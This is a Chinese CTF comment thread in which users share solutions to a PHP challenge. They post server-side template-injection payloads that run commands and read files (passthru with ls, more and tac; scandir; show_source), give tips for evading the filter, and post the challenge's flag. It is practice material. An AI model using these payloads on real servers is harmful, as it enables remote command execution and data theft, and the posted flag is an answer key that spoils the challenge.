没想起来 PHP 还有什么函数可以执行命令。不过,我用 scandir() 和 show_source() 就完成挑战了。 /?a={var_dump(scandir("/"))} 和 /?a={show_source("/_6583")}
根据给出的提示发现可以通过/?回显得到源码,然后找到chatgpt解析一下源码,得知需要模板注入,构成payload,找到第二个源码再次让gpt翻译一下,得知在根目录下有个-数字的文件,由于cat命令用不了,使用tac命令查看得到flag。
flag{d1342dda94d2f2b93118ff43530dcf77}
bp抓包提交参数后会返回代码,根据代码可以发现有命令执行且过滤了哪几个函数{1*2}会发现返回2,这个时候用命令执行{passthru('ls /')},记得url转码,会发现返回结果有个图出的文件,cat被过滤了,用more查看就好{passthru('more /文件名')}。觉得清楚记得点赞,让更多人看到
/?w={{passthru("ls /")}} /?w={{passthru("more /_数字文件名")}}
passthru执行函数查看(ls),然后再查看列出的数字文件
index.php?a={{passthru('more ../../../*|grep ff')}}
{lf passthru("tac /_*")}{/if}
哪位大神告诉我为什么{var_dump(`ls`)}不行
https://blog.csdn.net/m_de_g/article/details/120380488
...
评论
XRain 1年前
举报
没想起来 PHP 还有什么函数可以执行命令。不过,我用 scandir() 和 show_source() 就完成挑战了。 /?a={var_dump(scandir("/"))} 和 /?a={show_source("/_6583")}
冯飞99 1年前
举报
根据给出的提示发现可以通过/?回显得到源码,然后找到chatgpt解析一下源码,得知需要模板注入,构成payload,找到第二个源码再次让gpt翻译一下,得知在根目录下有个-数字的文件,由于cat命令用不了,使用tac命令查看得到flag。
wxy1343 1年前
举报
flag{d1342dda94d2f2b93118ff43530dcf77}
YZ_86 1年前
举报
bp抓包提交参数后会返回代码,根据代码可以发现有命令执行且过滤了哪几个函数{1*2}会发现返回2,这个时候用命令执行{passthru('ls /')},记得url转码,会发现返回结果有个图出的文件,cat被过滤了,用more查看就好{passthru('more /文件名')}。觉得清楚记得点赞,让更多人看到
s1amese 1年前
举报
/?w={{passthru("ls /")}} /?w={{passthru("more /_数字文件名")}}
s1amese 1年前
举报
passthru执行函数查看(ls),然后再查看列出的数字文件
gleason 1年前
举报
index.php?a={{passthru('more ../../../*|grep ff')}}
Whittebz 1年前
举报
{lf passthru("tac /_*")}{/if}
Vio1et 1年前
举报
哪位大神告诉我为什么{var_dump(`ls`)}不行
zdfy005 2年前
举报
https://blog.csdn.net/m_de_g/article/details/120380488